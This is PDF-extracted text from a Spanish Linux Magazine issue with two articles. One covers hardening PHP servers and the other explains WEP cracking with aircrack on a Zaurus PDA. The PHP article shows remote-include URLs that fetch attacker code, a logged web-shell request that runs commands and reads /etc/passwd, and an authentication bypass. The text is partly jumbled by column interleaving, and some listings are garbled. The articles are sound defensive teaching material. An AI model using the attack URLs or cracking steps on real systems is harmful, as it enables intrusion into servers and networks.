<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html><head><title> Filebrowser v1.0 -- Peer Heinlein </title></head> <body> <? if(isset($_GET['path'])) { // Leer variables si register_globals=off $path = $_GET['path']; // Si fichero, mostrar contenido if(is_file($path)) { $file = fopen($path,"r"); print "<pre>"; while (!feof($file)) { $zeile = fgets($file, 4096); print htmlentities($line,ENT_QUOTES); } print "</pre></body></html>"; fclose($file); exit; } // Si path, mostrar listado de directorio print "<pre><b>Content of $path</b><br><br>"; $dir = opendir($path); while($file = readdir($dir)) { $filepath = $path . "/" . $file; if(is_dir($filepath)) print "[DIR ] "; elseif(is_file($filepath)) print "[FILE] "; elseif(is_link($filepath)) print "[LINK] "; else print " "; if($file == ".") print "<a href=\"" . $_SERVER['PHP_SELF'] . "?path=$path\">.</a><br>"; elseif($file == "..") { if(substr($path,0,strrpos($path,"/")) == "") {
Número 05
41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
print "<a href=\"" . $_SERVER['PHP_SELF'] . "?path=/\">..</a><br>"; } else { print "<a href=\"" . $_SERVER['PHP_SELF'] . "?path=" . substr($path,0,strrpos($path,"/")) . "\">..</a><br>"; } } else { print "<a href=\"" . $_SERVER['PHP_SELF'] . "?path=" . (($path == "/") ? "" : $path) . "/" . rawurlencode($file) . "\">$file</a>"; // listar atributos fichero $mode = (is_writeable($filepath)) ? ", mode: writeable " : ""; $stat = stat($filepath); $uid = $stat[4]; $gid = $stat[5]; $size = $stat[7]; print " [ uid: $uid, gid: $gid, size: $size $mode]"; } } closedir($dir); print "</pre>"; } else { ?> <form action="" method="get"> Directory?<br> <input type="text" name="path"> <br><br> <input type="submit" value="display"> </form> <? } ?> </body> </html>
WWW.LINUX- MAGAZINE.ES
Seguridad PHP • ADMINISTRACIÓN
usuarios de la que tienen que protegerse. En algunos casos, los atacantes remotos pueden subir sus propios códigos PHP al servidor y ejecutarlos, sin la necesidad de acceder por FTP al espacio web. El peligro real no es una cuestión de confiar en los usuarios legítimos. La técnica que permite a los usuarios de la web añadir su propio código manipulado a los libros de visitas mal implementados, registros web u otros campos de entradas, se conoce como “inyección de código”. Si la aplicación de servidor simplemente pasa al libro de visitas la entrada sin realizar una validación de la entrada, el servidor podría ejecutar el comando del atacante cuando otro usuario vea la entrada. Las aplicaciones deberían devolver solamente texto ASCII, pero incluso entonces, los atacantes pueden evitar ser descubiertos incluyendo etiquetas de cierre que engañen al intérprete de PHP haciéndole creer que ha llegado al final del libro de visitas y añadir el código dañino. Es difícil para los administradores impedir que esta clase de ataques ocurran en sus servidores webs. De hecho, es el trabajo de los programadores validar y eliminar las entradas peligrosas: véase el cuadro “Programación PHP segura”. Sin embargo, PHP puede proteger los datos que el script ha obtenido (usando GET, POST o las cookies) escapando las comillas peligrosas y de esta forma mitigar el riesgo. Una configuración global llamada magic_quotes_qpc=on del php.ini se encarga de ello. Pero esta
Figura 4: Esta es la clase de mensaje de error que cualquier administrador aprecia. Gracias a open_basedir, PHP impide accesos no autorizados al listado del directorio del script (véase la Figura 2).
opción no reemplaza el grado de paranoia que deberían tener los programadores de PHP. Es trabajo de los administradores el mitigar los daños colaterales. Un ataque por “inyección código” podría afectar a un programador de PHP despreocupado, pero no debería permitirse que dañe al resto de usuarios inocentes del servidor. La opción open_bassedir es una buena forma para conseguirlo. Impide que el código PHP inyectado pueda expandirse por los datos de otros usuarios.
HTTP y Código Malicioso Los scripts PHP que no manejan los IDs de las páginas de forma correcta, suelen preparar las inclusiones de los ficheros de forma poco cuidadosa y son un objetivo fácil para los atacantes. La siguiente URL muestra como un sencillo script index.php acepta la variable $id
Listado 2: Open_basedir por dominios 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16
<VirtualHost 192.168.99.99:80> ServerAdmin webmaster@example.com DocumentRoot /srv/www/htdocs/www.example.com/html ServerName www.example.com ErrorLog /var/log/httpd/www.example.com-error CustomLog /var/log/httpd/www.example.com-access_log combined # open_basedir restringido a DocumentRoot, a las librerías PHP # y posiblemente al directorio PHP-tmp php_admin_value open_basedir /srv/www/htdocs/www.example.com:/usr/share/php # seguridad adicional suministrados por rutas individuales por dominio php_admin_value upload_tmp_dir /srv/www/htdocs/www.example.com/tmp php_admin_value session.save_path /srv/www/htdocs/www.example.com/session </VirtualHost>
WWW.LINUX- MAGAZINE.ES
como una ruta para el comando PHP include: http://www.example.comU /cms/index.php? U id=info/appointments.txt
Manipulando la URL se puede obtener información que el servidor Apache no proporciona por buenas razones: http://www.example.comU /cms/index.php? U id=intern/.htpasswd
Al menos los administradores pueden confiar en que open_basedir impida que otros usuarios accedan a estos datos. Los atacantes tan sólo veran los ficheros en el dominio vulnerable. Pero no hay que suponer que los atacantes están restringidos a los enlaces de los ficheros del dominio. El comando PHP include también maneja URLs por defecto y usará FTP o HTTP para cargar ficheros PHP. Si un atacante manipula la URL y hace que apunte a algún código PHP de un servidor web remoto, el servidor comprometido cargará este código, lo insertará en un punto adecuado y lo ejecutará. La Figura 5 muestra este procedimiento. La URL manipulada contiene la dirección del servidor del atacante: http://www.example.comU /cms/index.php? id=http://www.attacker.comU /hackcode.php
Número 05
71
ADMINISTRACIÓN • Seguridad PHP
Para remediar este problema se puede usar el parámetro de php.ini: allow_url_fopen_= no
Al comprobar los ficheros de registros de muchos servidores web se revela que hay hackers que sistemáticamente buscan vulnerabilidades en los sitios webs. Gracias a Google, el encontrar bastantes URLs interesantes no es ningún problema para los posibles atacantes. Por ejemplo, si se busca =http:// en su propio fichero de registro, access de Apache podría encontrar casos sospechosos que valdría la pena investigar. Parámetros con URLs completas no son necesariamente sospechosas, como se da en los servicios de traducción o en anonimizadores para otros sitios webs. Pero una ocurrencia de esta cadena en su sitio web es un síntoma de que algo puede ir mal.
La Shell PHP El script cmd.txt (cmd.php) es interesante, ingenioso y uno de los mejores amigos de los hackers. El script espera un parámetro, cmd e intenta usar exec() o system() para ejecutar el parámetro como un comando Linux. Si lo realiza con éxito, le suministra al atacante una shell flexible. Los atacantes pueden usar la barra de direcciones del navegador para introducir comandos UNIX. La siguiente entrada en mi propio fichero de registro muestra lo que sucede si falla a la hora de proteger su servidor. La cadena %20 es el carácter espacio codificado en formato URL: http://www.heinlein-support.deU /index.php?id=http: U //farpador.ubbi.com.br/U cmd.txt?&cmd=uname%20-U a;cat%20/proc/U version;uptime;id;pwd; U /sbin/ifconfig|U grep%20inet;cat%20U /etc/passwd
Esta URL intenta cargar la shell PHP, cmd.txt, desde http://farpador/ubbi.com.br. La llamada también pasa un comando de la shell de UNIX para pedirle al sistema operativo el tiempo de ejecución, el ID del usuario, el directorio home y la
72
Número 05
dirección IP, para antes de terminar añadir el contenido de /etc/passwd.
URLs sospechosas Los administradores ocasionalmente deberían copiar las URLs sospechosas en sus navegadores y comprobar cómo se comportan sus sitios webs frente a estos ataques. Si el sitio web muestra cualquier clase de información que el atacante desea ver, entonces debería proponerse echar unas cuantas horas extras reconfigurando el servidor. El hecho de que una URL maliciosa aparezca en los ficheros de registro no significa necesariamente que haya sido hackeado. Sino que alguien ha intentado ejecutar comandos del sistema en su máquina. Si le sucede esto, debería seguir los siguientes pasos: • En el cortafuegos, impida que su servidor web solicite peticiones FTP externas o fuentes HTTP (salida de datos TCP al
puerto de destino 80). Si necesita utilizar conexiones HTTP para actualizaciones de Linux o del antivirus, debería restringir estas conexiones a la página web de dichas empresas. • Explique los principios de programación PHP cuidadosa a sus usuarios. • Si es posible, deshabilite la ejecución de comandos del sistema en PHP. PHP tiene una opción útil que deshabilita los comandos peligrosos en el intérprete de PHP. Para deshabilitarlo, añada lo siguiente en el fichero php.ini: disable_functions = system, U exec,shell_exec, passthru, U phpinfo, show_source
Las palabras reservadas system, exec, shell_exec y passthru permiten a los scripts de PHP lanzar comandos Linux
Programación PHP Segura Más que nadie, es el programador de PHP el responsable de la seguridad del sitio web. Regla número 1: No confiar en nadie. Cuando se crean sitios webs, sígase estas reglas: 1. Nunca confie en una variable que no haya asignado usted mismo Antes de usar una variable, asegúrese de que la inicializa con un valor conocido (Listado 4, línea 2). De otra manera, un register_globals=off permitirá a un atacante manipular sus variables. 2. Compruebe las rutas de los ficheros antes de incluirlos Aunque los accesos a rutas externas estén restringidos por la opción open_basedir, hay bastantes ficheros en su propio sitio web que no deberían ser accesibles al público en general, por ejemplo, .htpasswd o el fichero con las contraseñas de sus bases de datos MySQL. Si su script hace uso de un parámetro que le indique la ruta para el fichero que se va a incluir, debería comprobar si se permite incluir el fichero. Una mala comprobación permitiría a un atacante sustituir las rutas. Las expresiones regulares proporcionan una manera fácil de validar las entradas. Su mejor opción es permitir sólo los caracteres inofensivos. Si esto no funciona, debería comprobar que el nombre de fichero empieza por un punto y renombre cualquier dato sensible que
WWW.LINUX- MAGAZINE.ES
empiece por un punto. La función regexp debería impedir la aparición de .. en los nombres de ficheros. Los ficheros a incluir deberían estar ubicados en un subdirectorio previamente definido, cuya ruta debería estar ya puesta en las sentencias de inclusión. 3. Valide todas las entradas de los usuarios Todas las entradas de usuario, independientemente de su forma (URL, cookie o basadas en formularios) deberían ser validadas por sus scripts antes de almacenarse. En particular, el script debería comprobar posibles etiquetas HTML no autorizadas o código de programa PHP en el texto introducido. La entrada podría incluir al final “;”, por ejemplo, lo que ocasionaría que el interprete de PHP ejecutaría cualquier código PHP que le siguiese (Inyección de código PHP). El intérprete supondrá que “;” termina la entrada. Los atacantes podrían entonces inyectar un comando SQL para terminar los datos que el programa pasa a la base de datos MySQL e insertar código malintencionado en este punto (SQL injection). No hay que escribir el código que valide las entradas por uno mismo: PHP cuenta con addslashes(), quote_meta() y mysql_real_escape_string() para escapar a estos caracteres especiales y strip_tags() para eliminar las etiquetas HTML y PHP.
Seguridad PHP • ADMINISTRACIÓN
Listado 3: Script inseguro 01 02 03 04 05 06 07 08 09 10
<? if($username == "tux" && $password == "blabla") { $auth = 1; }
if($auth == 1) { print "Área Interna "; } else { print "Lo siento: Acceso Denegado"; 11 } 12 ?>
externos con los privilegios del servidor web. Estas funciones PHP no se requieren habitualmente en un servidor web normal; de hecho, casi cualquier script se debería hacer sin necesitad de usar los comandos de Linux.
Deshabilitando funciones PHP La protección open_basedir realmente no funciona hasta que no se deshabiliten estas funciones. Recuerde que
los comandos Linux no saben nada acerca de las restricciones PHP y podrán abrir cualquier fichero que sea accesible para el servidor web. Pero incluso si realmente necesita permitir la función exec(), aún hay una forma de protegerse: safe_mode_exec_dir = U /srv/www/bin
Los administradores pueden usar el php.ini para asignar un directorio donde ejecutar los programas Linux (o enlaces simbólicos a las herramientas permitidas). Esto al menos impide que los scripts PHP ejecuten programas arbitrarios. Se necesita activar safe_mode para realizar esto. La función show_source se utiliza poco y no tiene sentido usarla en un entorno de producción, ya que ofrece a los hackers sus scripts PHP en bandeja de plata, incluyendo posiblemente las claves de sus bases de datos, coloreando el código de sus scripts para hacer la lectura de los mismos más confortable.
Listado 4: Script seguro 01 02 03 04 05 06 07 08 09 10 11 12 13 14
<? $auth = 0; $uid = $_GET['username']; $pwd = $_GET['password']; if($uid == "tux" && $pwd == "blabla") { $auth = 1; }
if($auth == 1) { print "Área Interna "; } else { print "Lo siento: Acceso Denegado"; 15 } 16 ?>
A algunas personas les gusta ejecutar phpinfo() para mostrar los detalles del servidor web. Aunque esta información es inofensiva en sí misma y los valores por defecto son conocidos, cualquier rastro de información que un atacante pueda conseguir en su búsqueda de vulnerabilidades podría ser decisiva. Las
ADMINISTRACIÓN • Seguridad PHP
EL AUTOR
buenas costumbres dictan scripts PHP favoritos no que los administradores volverán a funcionar más deben evitar que cualquier en el servidor por falta de información interna sea un buen estilo de prograaccesible desde el exterior. mación, aunque sus Muchos de los usuarios de scripts tuvieran 9.5 de 10 espacios webs dejan puntos de sus adorables ficheros como phpinfo.php usuarios. por el sitio, exponiendo Los desarrolladores de información valiosa a los PHP están al tanto de que ojos de cualquiera que se la Web es un lugar poco tome la molestia de amigable y se las han recogerla. Figura 5: Los scripts PHP mal programados permiten a los atacantes arreglado para cambiar el Para estar seguro, “inyectar” su propio código en la página. Si se le pide que lo haga, PHP carcomportamiento por debería deshabilitar la fungará este código desde un servidor Web remoto. defecto de la versión 5, ción de información y en estableciendo vez de ello, debería crear un fichero nistrador podría evitar también esta vulregister_globals=off. PHP5 no suminisHTML estático con la salida de nerabilidad: tra ninguna herramienta nueva para forphpinfo(), si se necesitara. Incluso talecer la seguridad de su servidor. podría proteger por medio de una conregister_globals=off Conclusión traseña el acceso a este fichero para restringir el acceso a esta información. Esta configuración impide que PHP Unos sencillos pasos es todo lo que se almacene los parámetros de la URL en necesita para proporcionar a sus usuaAlmacenamiento Variables variables. Al mismo tiempo, rompe la rios la clase de seguridad que necesitan. Además debería añadir la línea consulta de la contraseña en la línea 2. Muchos de los problemas actuales simregister_globals=off en php.ini. Esto El script necesitará usar los arrays gloplemente desaparecen sin la necesidad evita errores de programación y fuerza a bales reservados $_GET, $_POST o de dolores de cabeza. Las medidas los programadores a generar un código $_COOKIE para evaluar los parámetros. descritas en este artículo deberían ser ■ más limpio. Establecer register_gloEl Listado 4 muestra un script más elaboparte de su postura de seguridad. bals=on significa que PHP creará varado que soluciona esto. riables para reflejar los parámetros de la RECURSOS El Efecto de Deshabilitar URL. La siguiente URL asignaría el valor Register_globals tux a la variable $username y southpole a [1] Documentación PHP: http://www.php. $password: A causa de todos los cambios que hay net/docs.php que realizar en los scripts PHP, es bas[2] Manual de Seguridad PHP: http://de2. http://www.example.com U tante difícil, pasar de un servidor con php.net/manual/de/security.index.php /index.php?username= U register_globals=on a register_glo[3] Marc Heuse, “Installing a Secure Web tux&password=southpole bals=off. Los usuarios a menudo se queServer”: http://www.suse.de/de/ jan y no comprenden por qué tienen que private/support/online_help/howto/ Un programa mal diseñado emplearía cambiar sus scripts que hasta ahora funsecure_webserv/ esta característica para evaluar y usar los cionaban correctamente. [4] Crítica a PHP safe_mode: http://ilia.ws/ parámetros de la URL. El script en el LisPero definitivamente, vale la pena el archives/ tado 3 parece, a primera vista, que es esfuerzo, ya que protege a los progra18_PHPs_safe_mode_or_how_not_to_ implement_security.html una forma inofensiva de autenticación, madores de su propia ignorancia. pero un atacante podría teclear la siDebería procurar completar el cambio en guiente URL para adivinar la contraseña: varios pasos. Anunciando el cambio con Peer Heinlein ha antelación para darle la oportunidad a ejercido de Proveehttp://www.example.com U los usuarios de revisar su código con dor de Servicios de /index.php?auth=1 tiempo. Entonces, se podría establecer Internet desde 1992. register_globals=off durante unas cuanAparte de su libro de El parámetro auth sin datos del login tas horas. Y los usuarios tendrían esta Postfix, Peer ha pubrevelará datos internos. La supuesta oportunidad para comprobar sus scripts licado otros dos libros en “LPIC-1” y “Snort” Sisinofensiva comprobación de la línea 6 y corregir los errores. temas de detección de intrusiones supondrá que el usuario está autentifiLos servidores web nuevos tendrían en Open Source Press. La empresa cado. El programador de PHP debería que desactivar esta opción, aunque de Peer, www.heinlein-support.de, tener la variable inicializada, $auth=0, debería estar preparado para discutir enseña y forma administradores y al comienzo del script o añadir una rama este tema con los usuarios. Algunos proporciona consultoría y servicios else a la condición para proporcionar un usuarios de su red podrían no ser de soporte en toda Europa. estado definido. Como se dijo, el admicapaces de comprender por qué sus
74
Número 05
WWW.LINUX- MAGAZINE.ES
Criptoanálisis Wep con Zaurus • ADMINISTRACIÓN
Wired Not So Equivalent Privacy
CRIPTOANALISIS WEP
Una Zaurus equipada con lo último en arsenal de criptoanálisis, sniffers, IDS y escaneadores es la herramienta con la que todo auditor de redes ha soñado. Usaremos este sustituto del Tricorder (Star TrekTM) como excusa para descubrir los entresijos de la encriptación WEP. POR ALBERTO PLANAS
E
l protocolo WEP (Wired Equivalent Privacy) nace en 1999 como parte del estándar IEEE 802.11[1]. Su misión es garantizar la privacidad de la información transmitida por los componentes de una red WiFi. Encriptar la información que un ordenador envía por el aire a otro es esencial para impedir que un vecino curioso encuentre interesante nuestro número de tarjeta de crédito, nuestra contraseña de correo o simplemente decida que usar nuestra conexión a Internet es más adecuado a sus ocultos propósitos.
WEP al Desnudo La base del WEP está en la operación lógica XOR. El o-exclusivo es una operación binaria que genera el valor 1 si los dos operandos son diferentes, y 0 si son iguales (ver la tabla de verdad de la Figura 1). Presenta la propiedad que si aplicamos dos veces el XOR a un valor obtendremos el valor original, es decir (A XOR B) XOR B = A. Podemos
considerar a B como una especie de contraseña secreta que permite codificar el valor de A y, posteriormente, descodificarlo. Es decir, si tengo un texto en claro A y quiero entregarlo a otro usuario, primero aviso a ese usuario que voy a usar la secuencia binaria B para encriptarlo, luego calculo la secuencia C = A XOR B y entrego este C a mi compañero. Éste sólo tendrá que calcular C XOR B para recuperar el valor de A (ver esquema de comunicación en la Figura 1). La teoría es simple, pero ¿cómo paso el valor de B sin que nadie lo descubra? Además de este hay otros problemas como por ejemplo que B debe ser una secuencia muy larga para que sea difícil de encontrar, y es más, B debería de ser diferente en cada comunicación porque un atacante podría ir averiguando trocitos de B analizando la información transmitida. Una solución a la determinación de B pasaría por tener una función mágica F que genere esta cadena de bits de manera aleatoria pero que sea tal que
WWW.LINUX-MAGAZINE.ES
genere la misma secuencia en cada uno de los extremos de la comunicación. Hay muchos de estos algoritmos, sin ir más lejos las funciones del tipo float rand(int seed); cumple con estos requisitos: usando en dos ordenadores diferentes esta función con la misma semilla (seed) obtendremos la misma secuencia de números aleatorios. Lo interesante es que por medio de esta función podremos tener secuencias B del tamaño que deseemos. El mecanismo WEP se apoya en estos principios y los formaliza bajo un estándar IEEE. Este estándar especifica que el algoritmo de generación de números pseudoaleatorios que se va a usar es el RC4 (que analizaremos en la siguiente sección) y determina la estructura de los frames intercambiados por los dispositivos. Un esquema de la estructura de un paquete 802.11 (frames Ethernet) es la representada en la Figura 2. En la cabecera del paquete vendrá información relativa al tipo de frame, dirección
Número 05
75
ADMINISTRACIÓN • Criptoanálisis Wep con Zaurus
Figura 1: Criptosistema por medio de la función XOR.
MAC del emisor, dirección MAC del receptor y alguna información de sincronismo. Esta información se transmite en claro, con lo que evidentemente de un solo vistazo veremos las direcciones de las máquinas implicadas en todas las transmisiones. Esta es la prueba de que el filtrado de MAC en los puntos de acceso es realmente inútil, ya que un supuesto atacante podrá encontrar la MAC de un cliente autorizado y con las tarjetas wireless actuales se puede cambiar la dirección MAC a discreción. Como veremos dentro de un momento el algoritmo RC4 tiene como parámetro un valor de semilla. Este valor inicializa un vector de estados dentro del algoritmo y generalmente corresponde a una secuencia de entre 64 y 128 bits. Esta sí es una semilla larga, y no la que encontramos en la función rand(). Este valor de inicialización debe compartirse en secreto entre los extremos de la comunicación. Para hacer las cosas más difícil, WEP establece que el valor de inicialización de RC4 debe ser diferente en cada transmisión, por tanto se divide esta semilla en dos: una establecida por el
usuario a la hora de configurar el acceso a la red y otra que genera el sistema aleatoriamente. La longitud de la clave establecida por el usuario es de 40 bits en caso de una configuración de seguridad de 64 bits, o de 104 bits si esta es de 128 bits. Es precisamente esta la clave que nos solicita el sistema operativo en el proceso de configuración de la tarjeta WiFi y puntos de acceso. La parte aleatoria generada por los dispositivos de red tiene un tamaño de 24 bits que completa los 40 o 104 indicados por el usuario hasta los 64 o 128 bits respectivamente. Esos tres bytes son denominados IV (Vector de Inicialización) y se encuentran tras la cabecera en los frames Ethernet 802.11. Posteriormente están los datos encriptados, que han sido calculados al aplicar el XOR entre los datos en claro y la secuencia de bytes obtenidos de RC4 inicializado a la semilla IV concatenado con la “Clave Secreta WEP del Usuario”. Muy inteligente ¿verdad?
Algoritmo RC4 El generador de secuencias pseudoaleatorias diseñado por Ron Rivest[2] en 1987 y publicado de manera clandestina en 1994 tiene dos partes bien definidas. En una primera fase, denominada fase KSA, desordena una secuencia inicialmente ordenada de números consecutivos. Este proceso de inicialización del algoritmo es donde se usa la clave WEP y puede verse una implementación en la función ksa.c del Listado 1. La segunda parte del algoritmo genera la secuencia de números pseudoaleatorios y corresponde a la fase PRGA. Es precisamente éste el streaming con el que WEP realizará el XOR con la información que desea encriptar. Cada llamada a esta función generará un byte de dicha secuencia. En el Listado 2 vemos que se usa un array S generado en la fase KSA anterior y dos índices. Incrementar i de uno en uno asegura que
todos los elementos de S cambiarán de posición al menos una vez cada 256 iteraciones.
Debilidad del WEP Muy bien ¿qué puntos débiles presenta este modelo aparentemente tan seguro? Para entenderlo hay que tener cierta afición a la matemática y leer el artículo de Fluhrer, Mantin and Shamir[4] (en adelante FSM). El artículo demuestra matemáticamente la existencia un boquete lógico en la fase KSA del algoritmo RC4. Trataremos de evitar la complejidad de los cálculos a la hora de exponer un resumen que muestre los resultados más interesantes, aunque tendremos que recurrir a La Cuenta de la ViejaTM en algunos momentos. Sabemos que en cada frame se transmite parte de la semilla de inicialización de RC4 que corresponden con los tres bytes del vector de inicialización (IV), además sabemos que la información codificada es generalmente un paquete TCP/IP que poseen tres primeros bytes conocidos (0xAA:0xAA:0x03). Basándose en esto Adam Stubblefield[3] aplica las debilidades encontradas en el algoritmo RC4 por Scott Fluhrer[4] para determinar qué vectores IV proporcionan información sobre alguno de estos primeros bytes conocidos. Estos IVs pueden encontrarse fácilmente y son denominados Weaks IV. En principio nos concentraremos solamente en el desordenamiento del vector S. En el artículo FMS se demuestra que los vectores de interés tienen la forma [A+3, 255, X] siendo A el índice del byte de la clave que deseamos recuperar (hay que darse cuenta que la parte secreta de la clave comienza en el cuarto byte, puesto que los tres primeros son conocidos) y X cualquier valor. En ese caso el array key y el array Sde la función ksa() tendrá la siguiente estructura: key: A+3:255: X :K[3]:...:K[A+3]:... s: 0 : 1 : 2 : 3 :...: A+3 :...
Al finalizar las tres primeras iteraciones de la función ksa() el estado del sistema sería: 01 Iteración 0 02 i := 0 03 j := 0 + 0 + K[0] = A+3
76
Número 05
WWW.LINUX- MAGAZINE.ES
Criptoanálisis Wep con Zaurus • ADMINISTRACIÓN
04 s: A+3 : 1 : 05 06 Iteración 1 07 i := 1 08 // j % 256: 09 j := (A+3) + 10 s: A+3 : 0 : 11 12 Iteración 2 13 i := 2 14 j := (A+3) + 15 s: A+3 : 0 : :...
2 :...: 0 :...
1 + 255 = A+3 2 :...: 1 :...
2 + X s[j] :...: 1
Este array S parcialmente desordenado corresponde a S2. Hay que notar que sólo podremos averiguar el valor de K[A] si conocemos los K[i] anteriores, en este caso lograremos simular correctamente hasta SA+2, que para el caso del primer byte (A = 0) sería este S2. ¡Además conoceríamos el valor jA+2 de esa iteración! Siguiendo con el ejemplo de A = 0, la siguiente iteración sería la A+3 = 3: Iteración A+3: i<->A+3<-> := A+3 j<->A+3<-> := j<->2<-> +U
Listado 1: ksa.c 01 /*! 02 * \param key clave WEP 03 * \param l número de bytes de key (128 bits => l = 16; 40 bits => l = 5) 04 * \ r e t u r n a r r a y d e 2 5 6 elementos desordenados 05 */ 06 unsigned char* ksa(unsigned char* key, int l) { 07 unsigned char *s = new unsigned char[256]; 08 09 for(int i = 0; i < 255; i++) 10 s[i] = i; 11 12 int j = 0; 13 for(int i = 0; i < 255; i++) { 14 j = (j + s[i] + key[i % l]) % 256; 15 swap(s[i], s[j]); 16 } 17 18 return s; 19 }
determinado el byte A de la clave secreta del usuario, determinaremos el valor A+1, para eso buscaremos los IV que sean de la forma [A+1+3, 255, X] y Si despejamos K[A+3] = jA+3 - j2 vuelta a empezar. Poco a poco iremos SA+2[A+3] donde la única incógnita es incrementando A hasta completar los 13 jA+3. En esta iteración sabemos que bytes secretos del vector K. Queda claro tenemos que intercambiar S[i] con S[j], que necesitaremos mucha paciencia, ya es decir que en SA+3[A+3] está ahora que tendremos que capturar gran cantimismo el valor SA+2[jA+3]. Si conodad de paquetes que tengan vectores IV ciéramos el valor final SA+3[A+3] particulares y diferentes entre sí. Se ha podríamos encontrar éste jA+3 buscalculado que con esta técnica y unos cando ese valor en la iteración anterior. 2.000.000 (!!) de frames la de 128 cae. Un poco lioso, lo reconozco, pero si el Demasiado para una PDA, y lo que es lector toma un papel y un lápiz y repite peor, los fabricantes de dispositivos las iteraciones 0, 1 y 2 verá wireless evitan estos vecperfectamente qué conoce y tores de inicialización con qué desconoce de la lo que queda parcialmente iteración 3 y, sobre todo, anulando este tipo de qué debería intercambiar en ataques. Un hacker llamado esta iteración. KoreK[5] demuestra que los Muy bien, respiremos provectores de inicialización fundamente y sigamos. Si el descritos en el artículo FMS proceso de iteraciones termino son los únicos sobre los Figura 2: Estructura nara aquí ahora mismo, en que extraer información, sobresimplificada de un la iteración A+3, el primer terminando de destrozar la Frame 802.11 Ethernet. valor que devolvería la fase seguridad WEP puesto que de generación de números al existir más de estos IVs el pseudoaleatorios, o fase PRGA sería número de paquetes necesarios para S[S[0] + S[1]] = S[A+3 + 0] = encontrar la clave secreta es menor S[A+3]. ¡Ese es precisamente el valor (mucho mucho menor), y por tanto el que necesitamos para calcular K[A+3]! tiempo requerido en el análisis y los Pero ¿qué probabilidad hay de que suceda recursos necesarios también serán que tanto S[0], como S[1] y S[A+3] permenores. manezcan quietos cuando el iterador de Aircrack 2.1 en la Zaurus la fase KSA continúe su camino? Si tomamos tres valores X, Y y Z que están Pondremos todo lo aprendido en práctica en posiciones inferiores a A+3, la probapor medio de la Zaurus, un punto de bilidad de que no se nos muevan de ahí acceso configurado con WEP y un ordecuando queremos encontrar el primer nador con conexión a esta red. Para crear byte de a clave (cuando A = 0) es de un tráfico pondremos el ordenador a descar5% y se calcula a partir de la Formula 1. gar algún programa de Internet. Pues bien, y aquí está lo más emocioRecomiendo alguna ISO de Debian en nante, en este 5% de casos el primer valor http://linuxiso.org. En la Zaurus instaque generará la fase PRGA de RC4, es laremos Kismet (ver artículo anterior de decir, la que empieza a generar los esta serie) y aircrack. El programa Airnúmeros aleatorios, es nuestro ansiado crack[6] es una implementación que SA+3[A+3]. En estos casos los paquetes comprende 16 tipos de ataques a vecque capturemos el sistema de tores IV. Son variantes del FMS incorpoencriptación habría realizando un XOR de radas por KoreK y otros hackers. El proeste valor buscado con 0xAA. Así que ceso de compilación es el de siempre, lo para obtener el valor de S solo tendremos primero será establecer las variables de que volver a hacer otro XOR con 0xAA. entorno para seleccionar el compilador Claro que el 95% de los casos no tenpara procesadores ARM y luego hacer un dremos el verdadero valor de S, así que make: necesitaremos muchos paquetes que compartan el IV para este mismo A, así tar -xzvf aircrack-2.1.tgz el resultado de S que más aparezca será . ./dev-arm-qpe.sh el que andamos buscando. Una vez cd aircrack-2.1 S<->A+2<->[A+3] + K[A+3] s<->A+3<->: A+3: 0 : S[2]U : ... : S[j] : ...
WWW.LINUX- MAGAZINE.ES
Número 05
77
ADMINISTRACIÓN • Criptoanálisis Wep con Zaurus
make cp 802ether aircrackU aireplay airodump U hopper.sh ../wireless/bin
Nuestro arsenal para el estudio de las redes WiFi ha crecido con estos cinco nuevos programas que deberemos transferir a la Zaurus. Un inconveniente de Aircrack es que requiere mucha memoria para poder almacenar los resultados intermedios de los análisis. Necesitaremos, pues, crear un fichero de SWAP para incrementar la memoria virtual de nuestra máquina Linux. Este fichero lo almacenaremos en una tarjeta de memoria SD, puesto que en la ranura CF la tendremos ocupada con la tarjeta WiFi: dd if=/dev/zeroU of=/mnt/card/swap.imgU bs=1M count=64 mkswap /mnt/card/swap.img swapon /mnt/card/swap.img
Listado 2: prga.c 01 /*! 02 * \param s array de números desordenados 03 * \ r e t u r n u n b y t e d e l a secuencia de números aleatorios 04 */ 05 unsigned char prga(unsigned char* s) { 06 static int i = 0; 07 static int j = 0; 08 09 i = (i + 1) % 256; 10 j = (j + s[i]) % 256; 11 swap(s[i], s[j]); 12 13 return s[(s[i] + s[j]) % 256]; 14 }
78
Número 05
aircrack -f 4 -n 128U Kismet*.dump
El comando anterior hará que nuestro analizador abra el fichero que contiene los paquetes capturados, ordene de manera creciente los diferentes IV encontrados y empiece a buscar claves de 128 bits. Con un poco de paciencia el sistema mostrará la clave WEP usada en las comunicaciones y el número de votos de cada uno de los bytes seleccionados.
Optimizaciones y conclusiones En el proceso anterior hemos tenido que capturar 200.000 paquetes completos cuando realmente necesitamos almacenar solo unos pocos completos para determinar si la clave WEP candidata es correcta o no, y del resto solo usaremos el vector IV y los dos o tres primeros bytes de los datos encriptados. Existe un programa alternativo a la pareja Kismet/Aircrack denominado WepLab[7] desarrollado por Topo[LB] que contempla estas optimizaciones tan interesantes para una PDA con pocos recursos en memoria. Otra de las posibles mejoras está en el proceso de análisis de Aircrack. Cada iteración o votación requiere un refresco en la pantalla, lo que ralentiza mucho el análisis ya que dedica casi todo el tiempo a redibujar la pantalla de la PDA. Para evitar este gasto innecesario se suele aplicar un parche[8] al código fuente de la aplicación. Mejorando en análisis matemático, diversificando los ataques a los vectores IV y optimizando el consumo de memoria de las aplicaciones de análisis hemos bajado en varios ordenes de magnitud la potencia requerida para descubrir la WEP en una comunicación wireless. Hemos demostrado que con una PDA con Linux es posible cubrir dicha potencia de cálculo necesaria, lo que da una medida de cuan débil ha quedado la encriptación WEP. No hay duda que con
WWW.LINUX- MAGAZINE.ES
este sistema de seguridad no podremos garantizar la privacidad de nuestras comunicaciones, requerimos de otro modelo de seguridad. En la actualidad el sistema WPA ofrece mejores garantías de uso, pero por desgracia solo está disponible para sistemas IEEE 802.11g. Si tenemos una red en la que hemos invertido en componentes IEEE 802.11b deberemos crear una VPN que haga uso de un mecanismo de encriptación alternativo. Por suerte en el mundo del software libre disponemos de magníficas herramientas para VPN basadas en SSL (OpenVPN[9]- ver número 4 de Linux Magazine) y en IPSec (FreeS/WAN[10]). Mi consejo: usarlas sea cual sea la tecnología wireless de vuestras redes. ■
